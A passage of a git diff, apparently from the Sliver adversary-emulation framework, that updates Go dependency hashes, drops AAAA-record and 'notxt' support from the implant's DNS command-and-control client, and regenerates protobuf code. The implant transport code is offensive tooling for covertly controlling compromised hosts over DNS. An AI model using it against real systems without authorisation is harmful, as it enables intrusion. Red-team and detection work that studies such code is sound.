+github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU= +github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0= github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs= @@ -368,7 +376,6 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -404,8 +411,8 @@ github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 h1:lMGYrokO github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4= github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0= github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8= -github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM= -github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= +github.com/tetratelabs/wazero v1.4.0 h1:9/MirYvmkJ/zSUOygKY/ia3t+e+RqIZXKbylIby1WYk= +github.com/tetratelabs/wazero v1.4.0/go.mod h1:0U0G41+ochRKoPKCJlh0jMg1CHkyfK8kDqiirMmKY8A= github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs= github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI= @@ -448,11 +455,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.15.0 h1:frVn1TEaCEaZcn3Tmd7Y2b5KKPaZ+I32Q2OA3kYp5TA= -golang.org/x/crypto v0.15.0/go.mod h1:4ChreQoLWfG3xLDer1WdlH5NdlQ3+mwnQq1YTKY+72g= +golang.org/x/crypto v0.17.0 h1:r8bRNjWL3GshPW3gkd+RpvzWrZAwPS49OmTGZ/uhM4k= +golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9 h1:GoHiUyI/Tp2nVkLI2mCxVkOjsbSXD66ic0XW0js0R9g= -golang.org/x/exp v0.0.0-20230905200255-921286631fa9/go.mod h1:S2oDrQGGwySpoQPVqRShND87VCbxmc6bL1Yd2oYrm6k= +golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 h1:+iq7lrkxmFNBM7xx+Rae2W6uyPfhPeDWD+n+JgppptE= +golang.org/x/exp v0.0.0-20231219180239-dc181d75b848/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -462,8 +469,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY= -golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= +golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0= +golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -478,8 +485,8 @@ golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qx golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c= +golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.12.0 h1:smVPGxink+n1ZI5pkQa8y6fZT0RW0MgCO5bFpepy4B4= golang.org/x/oauth2 v0.12.0/go.mod h1:A74bZ3aGXgCY0qaIC9Ahg6Lglin4AMAco8cIv9baba4= @@ -490,8 +497,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= -golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE= +golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -528,12 +535,12 @@ golang.org/x/sys v0.0.0-20220817070843-5a390386f1f2/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q= -golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= +golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.14.0 h1:LGK9IlZ8T9jvdy6cTdfKUCltatMFOehAQo9SRC46UQ8= -golang.org/x/term v0.14.0/go.mod h1:TySc+nGkYR6qt8km8wUhuFRTVSMIX3XPR58y2lC8vww= +golang.org/x/term v0.15.0 h1:y/Oo/a/q3IXu26lQgl04j/gjuBDOBlx7X6Om1j2CPW4= +golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= @@ -555,8 +562,8 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= -golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc= -golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg= +golang.org/x/tools v0.16.0 h1:GO788SKMRunPIBCXiQyo2AaexLstOrVhuAL5YwsckQM= +golang.org/x/tools v0.16.0/go.mod h1:kYVVN6I1mBNoB1OX+noeBjbRk4IUEPa7JJ+TJMEooJ0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -665,6 +672,8 @@ modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg= modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY= modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE= +mvdan.cc/sh/v3 v3.7.0 h1:lSTjdP/1xsddtaKfGg7Myu7DnlHItd3/M2tomOcNNBg= +mvdan.cc/sh/v3 v3.7.0/go.mod h1:K2gwkaesF/D7av7Kxl0HbF5kGOd2ArupNTX3X44+8l8= nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g= nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0= software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8= diff --git a/implant/sliver/transports/dnsclient/dnsclient.go b/implant/sliver/transports/dnsclient/dnsclient.go index ce1030dc44..cec656f79e 100644 --- a/implant/sliver/transports/dnsclient/dnsclient.go +++ b/implant/sliver/transports/dnsclient/dnsclient.go @@ -92,7 +92,6 @@ var ( ErrInvalidResponse = errors.New("invalid response") ErrInvalidIndex = errors.New("invalid start/stop index") ErrEmptyResponse = errors.New("empty response") - ErrInvalidMsg = errors.New("invalid dns message") ) // DNSOptions - c2 specific options @@ -103,7 +102,6 @@ type DNSOptions struct { MaxErrors int WorkersPerResolver int ForceBase32 bool - NoTXT bool ForceResolvConf string ForceResolvers string } @@ -143,7 +141,6 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions { MaxErrors: maxErrors, WorkersPerResolver: workersPerResolver, ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true", - NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true", ForceResolvConf: c2URI.Query().Get("force-resolv-conf"), ForceResolvers: c2URI.Query().Get("resolvers"), } @@ -170,7 +167,6 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient { metadata: map[string]*ResolverMetadata{}, parent: parent, forceBase32: opts.ForceBase32, - noTXT: opts.NoTXT, forceResolvConf: opts.ForceResolvConf, forceResolvers: opts.ForceResolvers, queryTimeout: opts.QueryTimeout, @@ -196,7 +192,6 @@ type SliverDNSClient struct { retryCount int queryTimeout time.Duration forceBase32 bool - noTXT bool forceResolvConf string forceResolvers string subdataSpace int @@ -261,8 +256,6 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D switch work.QueryType { case dns.TypeA: data, _, err = w.resolver.A(work.Domain) - case dns.TypeAAAA: - data, _, err = w.resolver.AAAA(work.Domain) case dns.TypeTXT: data, _, err = w.resolver.TXT(work.Domain) } @@ -299,7 +292,7 @@ func (s *SliverDNSClient) SessionInit() error { s.resolvers = []DNSResolver{} for _, server := range s.resolvConf.Servers { s.resolvers = append(s.resolvers, - NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent), + NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout), ) } // {{if .Config.Debug}} @@ -347,14 +340,6 @@ func (s *SliverDNSClient) SessionInit() error { // {{end}} return err } - - if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in message") - // {{end}} - return ErrEmptyResponse - } - data, err := s.cipherCtx.Decrypt(respData) if err != nil { // {{if .Config.Debug}} @@ -404,14 +389,7 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode } resp := []byte{} for _, subdata := range allSubdata { - - var respData []byte - var err error - if s.noTXT { - respData, _, err = resolver.AAAA(subdata) - } else { - respData, _, err = resolver.TXT(subdata) - } + respData, _, err := resolver.TXT(subdata) if err != nil { // {{if .Config.Debug}} log.Printf("[dns] init msg failure %v", err) @@ -420,11 +398,6 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode } if 0 < len(respData) { resp = append(resp, respData...) - } else { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in response") - // {{end}} - return nil, ErrInvalidResponse } } return resp, nil @@ -452,7 +425,6 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error { // ReadEnvelope - Recv an envelope from the server func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { - var respData []byte if s.closed { return nil, ErrClosed } @@ -472,26 +444,14 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { // {{if .Config.Debug}} log.Printf("[dns] poll msg domain: %v", domain) // {{end}} - - if s.noTXT { - respData, _, err = resolver.AAAA(domain) - if err != nil { - return nil, err - } - } else { - respData, _, err = resolver.TXT(domain) - if err != nil { - return nil, err - } + respData, _, err := resolver.TXT(domain) + if err != nil { + return nil, err } - // {{if .Config.Debug}} log.Printf("[dns] read msg resp data: %v", respData) // {{end}} if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in response") - // {{end}} return nil, nil } @@ -511,38 +471,10 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) { return nil, err } - if len(respData) < 1 { - // {{if .Config.Debug}} - log.Printf("[dns] no data received in message") - // {{end}} - return nil, nil - } - plaintext, err := s.cipherCtx.Decrypt(ciphertext) - if err != nil && err != cryptography.ErrReplayAttack { - return nil, err - } - - //Send clear - clearMsg, err := s.clearMsg(dnsMsg.ID) if err != nil { return nil, err } - domain, err = s.joinSubdataToParent(clearMsg) - if err != nil { - return nil, err - } - // {{if .Config.Debug}} - log.Printf("[dns] clear msg domain: %v", domain) - // {{end}} - - respData, _, err = resolver.A(domain) - if err != nil { - // {{if .Config.Debug}} - log.Printf("[dns] clear msg error: %s", err) - // {{end}} - } - envelope := &pb.Envelope{} err = proto.Unmarshal(plaintext, envelope) return envelope, err @@ -597,12 +529,7 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro return nil, ErrInvalidResponse } - var bytesPerTxt uint32 - if s.noTXT { - bytesPerTxt = 192 - } else { - bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin - } + const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin wg := &sync.WaitGroup{} results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1) @@ -628,21 +555,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro } wg.Add(1) - - if s.noTXT { - s.recvQueue <- &DNSWork{ - QueryType: dns.TypeAAAA, - Domain: domain, - Wg: wg, - Results: results, - } - } else { - s.recvQueue <- &DNSWork{ - QueryType: dns.TypeTXT, - Domain: domain, - Wg: wg, - Results: results, - } + s.recvQueue <- &DNSWork{ + QueryType: dns.TypeTXT, + Domain: domain, + Wg: wg, + Results: results, } } @@ -653,9 +570,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro recvData := make(chan []byte) errors := []error{} go func() { - // {{if .Config.Debug}} - log.Printf("[dns] Manifest Len: %d ", manifest.Size) - // {{end}} recvDataBuf := make([]byte, manifest.Size) for result := range results { if result.Err != nil { @@ -663,14 +577,11 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro continue } // {{if .Config.Debug}} - log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data) + log.Printf("[dns] read result data: %v", result.Data) // {{end}} recvMsg := &dnspb.DNSMessage{} err := proto.Unmarshal(result.Data, recvMsg) if err != nil { - // {{if .Config.Debug}} - log.Printf("[dns] unmarshal error: %s", err) - // {{end}} errors = append(errors, result.Err) continue } @@ -678,9 +589,6 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro log.Printf("[dns] recv msg: %v", recvMsg) // {{end}} if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) { - // {{if .Config.Debug}} - log.Printf("[dns] invalid index") - // {{end}} errors = append(errors, ErrInvalidIndex) continue } @@ -906,23 +814,6 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) { } } -func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) { - nonceBuf := make([]byte, 8) - rand.Read(nonceBuf) - clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{ - ID: msgId, - Type: dnspb.DNSMessageType_CLEAR, - Data: nonceBuf, - }) - if s.enableCaseSensitiveEncoder { - msg, _ := s.base58.Encode(clearMsg) - return string(msg), nil - } else { - msg, _ := s.base32.Encode(clearMsg) - return string(msg), nil - } -} - func (s *SliverDNSClient) otpMsg() (string, error) { otpMsg := &dnspb.DNSMessage{ Type: dnspb.DNSMessageType_TOTP, diff --git a/implant/sliver/transports/dnsclient/resolver-generic.go b/implant/sliver/transports/dnsclient/resolver-generic.go index 935345d4b8..daa33ea741 100644 --- a/implant/sliver/transports/dnsclient/resolver-generic.go +++ b/implant/sliver/transports/dnsclient/resolver-generic.go @@ -39,7 +39,7 @@ var ( ) // NewGenericResolver - Instantiate a new generic resolver -func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver { +func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver { if retries < 1 { retries = 1 } @@ -52,7 +52,6 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re WriteTimeout: timeout, }, base64: encoders.Base64Encoder{}, - parent: parent, } } @@ -63,7 +62,6 @@ type GenericResolver struct { retryWait time.Duration resolver *dns.Client base64 encoders.Base64Encoder - parent string } // Address - Return the address of the resolver @@ -116,87 +114,6 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) { return records, rtt, err } -// AAAA - Query for AAAA records -func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) { - var resp []byte - var rtt time.Duration - var err error - for attempt := 0; attempt < r.retries; attempt++ { - resp, rtt, err = r.aaaa(domain) - if err == nil { - break - } - // {{if .Config.Debug}} - log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait) - // {{end}} - time.Sleep(r.retryWait) - } - return resp, rtt, err -} - -func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) { - // {{if .Config.Debug}} - log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain) - // {{end}} - resp, rtt, err := r.localQuery(domain, dns.TypeAAAA) - if err != nil { - return nil, rtt, err - } - if resp.Rcode != dns.RcodeSuccess { - // {{if .Config.Debug}} - log.Printf("[dns] error response status: %v", resp.Rcode) - // {{end}} - return nil, rtt, ErrInvalidRcode - } - records := make([]byte, 512) - dataSize := uint32(0) - - if len(resp.Answer) > 0 { - for _, answer := range resp.Answer { - switch answer := answer.(type) { - case *dns.AAAA: - // {{if .Config.Debug}} - log.Printf("[dns] answer (aaaa): %v", answer.AAAA) - // {{end}} - - chunkMeta := uint32(answer.Hdr.Ttl) - chunkIdx := (chunkMeta & 0xff00) >> 8 - // {{if .Config.Debug}} - log.Printf("[dns] chunk idx: %d", chunkIdx) - // {{end}} - - tempSize := chunkMeta & 0xff - if dataSize != 0 { - if tempSize != dataSize { - // {{if .Config.Debug}} - log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize) - // {{end}} - return nil, rtt, ErrInvalidResponse - } - } else { - dataSize = tempSize - } - - copy(records[chunkIdx*16:], []byte(answer.AAAA)) - //records = append(records, []byte(answer.AAAA)...) - } - } - // {{if .Config.Debug}} - } else { - log.Printf("[dns] answer (aaaa): no records returned") - // {{end}} - } - - data := []byte{} - if dataSize > 0 { - // Trim output data - data = make([]byte, dataSize) - copy(data, records[0:dataSize]) - } - - return data, rtt, err -} - // TXT - Query for TXT records func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) { var resp []byte @@ -228,24 +145,18 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) { } records := "" - data := []byte{} - if len(resp.Answer) > 0 { - for _, answer := range resp.Answer { - switch answer := answer.(type) { - case *dns.TXT: - // {{if .Config.Debug}} - log.Printf("[dns] answer (txt): %v", answer.Txt) - // {{end}} - records += strings.Join(answer.Txt, "") - } - } - if 0 < len(records) { - data, err = r.base64.Decode([]byte(records)) + for _, answer := range resp.Answer { + switch answer := answer.(type) { + case *dns.TXT: + // {{if .Config.Debug}} + log.Printf("[dns] answer (txt): %v", answer.Txt) + // {{end}} + records += strings.Join(answer.Txt, "") } - // {{if .Config.Debug}} - } else { - log.Printf("[dns] answer (txt): no records returned") - // {{end}} + } + data := []byte{} + if 0 < len(records) { + data, err = r.base64.Decode([]byte(records)) } return data, rtt, err } diff --git a/implant/sliver/transports/dnsclient/resolver-system.go b/implant/sliver/transports/dnsclient/resolver-system.go index 9dbec2acdf..6918fc91cf 100644 --- a/implant/sliver/transports/dnsclient/resolver-system.go +++ b/implant/sliver/transports/dnsclient/resolver-system.go @@ -19,7 +19,6 @@ package dnsclient */ import ( - "context" "net" "strings" "time" @@ -71,26 +70,6 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) { return addrs, rtt, nil } -// AAAA - Query for AAAA records -func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) { - // {{if .Config.Debug}} - log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain) - // {{end}} - started := time.Now() - ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain) - rtt := time.Since(started) - if err != nil { - return nil, rtt, err - } - var addrs []byte - for _, ip := range ips { - if ip.To16() != nil { - addrs = append(addrs, ip.To16()...) - } - } - return addrs, rtt, nil -} - // TXT - Query for TXT records func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) { // {{if .Config.Debug}} diff --git a/implant/sliver/transports/dnsclient/resolver.go b/implant/sliver/transports/dnsclient/resolver.go index 02432204c7..09cf53ce74 100644 --- a/implant/sliver/transports/dnsclient/resolver.go +++ b/implant/sliver/transports/dnsclient/resolver.go @@ -26,6 +26,5 @@ import ( type DNSResolver interface { Address() string A(string) ([]byte, time.Duration, error) - AAAA(string) ([]byte, time.Duration, error) TXT(string) ([]byte, time.Duration, error) } diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index ca3b91887c..d28b31564a 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: clientpb/client.proto package clientpb @@ -1164,7 +1164,125 @@ func (x *Version) GetArch() string { return "" } -// [ Client Logs ] ---------------------------------------- +type Users struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Users []*User `protobuf:"bytes,1,rep,name=Users,proto3" json:"Users,omitempty"` +} + +func (x *Users) Reset() { + *x = Users{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *Users) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*Users) ProtoMessage() {} + +func (x *Users) ProtoReflect() protoreflect.Message { + mi := 